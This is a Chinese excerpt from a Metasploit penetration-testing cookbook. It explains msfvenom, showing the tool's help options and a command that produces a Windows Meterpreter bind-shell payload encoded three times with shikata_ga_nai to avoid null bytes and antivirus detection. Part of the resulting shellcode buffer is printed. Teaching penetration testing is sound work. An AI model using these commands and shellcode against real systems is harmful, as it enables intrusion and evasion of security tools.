本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第8章8.4节使用msfvenom,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。
8.4 使用msfvenom
Metasploit渗透测试手册
在第4章中,我们曾提及过msfencode和msfpayload。现在简单回顾一下,msfpayload用于从攻击载荷中生成二进制文件,msfencode则用于使用不同编码技术对该二进制文件进行编码。现在要讨论的另一个Metasploit工具则结合了二者的功能,并在生成可隐蔽执行漏洞利用代码方面发挥重要作用。
准备
要使用msfvenom,首先启动终端提示符窗口,键入msfvenom –h 命令。
怎样实现
观察有哪些不同的可用选项。
root@bt:~# msfvenom -h
Usage: /opt/framework/msf3/msfvenom [options]
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom..
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, bash..
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
-s, --space [length] The maximum size of the resulting Payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as..
-h, --help Show this message
从结果可以看到,有很多重要的参数,其中,-n参数用于创建和攻击载荷大小一样的NOP sled,-b参数用于防止漏洞利用代码中出现一些常用字符,例如x00,在规避防病毒软件时,常会发生类似状况。其他参数与msfpayload和msfencode中看到的类似。
| | NOP slide, NOP sled或NOP ramp,是指空操作MOP指令序列,其作用是掩盖CPU的实际指令执行流程。 | | | -------------------------------------------------------------------------------------------------------------- |
怎样工作
要使用msfvenom,需要将攻击载荷编码类型作为参数进行传递,下面在终端窗口中执行这一任务。
root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)
buf = "\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +
要注意与攻击载荷一起传递的参数,-b参数防止x00(空字节)在shellcode中出现,我们可以在自己的漏洞利用代码中使用该shellcode。
使用框架中的不同攻击载荷生成shellcode时,msfvenom是非常方便的工具,而这些shellcode则可用于漏洞利用代码中,并在攻击者成功攻陷目标机器后提供反向连接等功能。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。